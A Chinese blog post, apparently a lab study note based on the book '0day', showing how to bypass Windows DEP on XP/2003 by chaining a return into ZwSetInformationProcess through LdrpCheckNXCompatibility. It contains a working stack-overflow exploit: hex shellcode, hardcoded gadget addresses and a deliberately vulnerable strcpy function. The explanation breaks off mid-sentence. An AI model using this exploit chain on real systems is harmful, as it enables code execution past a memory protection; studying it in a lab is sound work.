利用Ret2Libc挑战DEP——利用ZwSetInformationProcess

8.10 更新2003 sp2的利用

——————————————————————————————

终于看到著名的DEP机制了,今天可以好好的研究它了!

DEP基本原理就是数据所在内存页标识为不可执行,这样就导致一个问题,就是我们之前所有的实验都建立在一个基础上:shellcode的执行是位于堆或者栈上的,我们通过覆盖上面的正常数据,将可执行的恶意数据放在上面进行程序流程劫持。后来,微软的程序员就发现了这个致命的漏洞,就创建了这个机制:从XP SP2开始,CPU一旦检测到在非可执行区域执行指令,将禁止继续执行并抛出异常。

突破思路:

既然DEP不允许直接执行,我们可以在其他可执行位置为shellcode的每一条指令找到一条替代指令,就可以完成exploit了。(每一条指令都有一个ret,以便回收程序控制权)

《0day》里面讲了3种思路突破dep

  1. 通过跳转到ZwSetInformationProcess函数将DEP关闭,再转入shellcode
  2. 通过跳转到VirtualProtect函数来将shellcode所在内存页设置为可执行状态,再转入shellcode
  3. 通过跳转到VirtualAlloc函数开辟一段具有执行权限的内存空间,然后将shellcode复制到这段内存中执行。
这次,我们来实践第一个思路。利用ZwSetInformationProcess函数关闭DEP!

实验环境

XP SP3(关闭dep)


VS 2008 关闭GS、SafeSEH(我没有用作者说的VC,因为这样配置好也是一样的)
使用release版本、关闭优化



本次实验代码

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x85\x8B\x1D\x5D"//修正EBP
"\x19\x4A\x97\x7C"//增大ESP
"\xB4\xC1\xC5\x7D"//jmp esp
"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置
"\xE9\x33\xFF\xFF"
"\xFF\x90\x90\x90"
;
void test()
{
	char tt[176];
	strcpy(tt,shellcode);
}
int main()
{
	HINSTANCE hInst = LoadLibrary(L"shell32.dll");
	char temp[200];
	__asm int 3
	test();
    return 0;
}

首先调试确定shellcode需要多长能够覆盖返回地址,这里不进行调试演示,应该是在181-184字节进行覆盖ret地址。

我们先来缕清思路,首先我们需要一个ZwSetInformationProcess函数的地址,然而函数参数的构造会出现0x00这样字符,那么我们能不能找到系统中已经调用的这个函数,我们可以直接利用呢。

答案是有的,微软有一个LdrpCheckNXCompatibility函数,当出现DLL收到SafeDisc保护的时候(函数中体现为al=1的时候),就会调用ZwSetIn

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值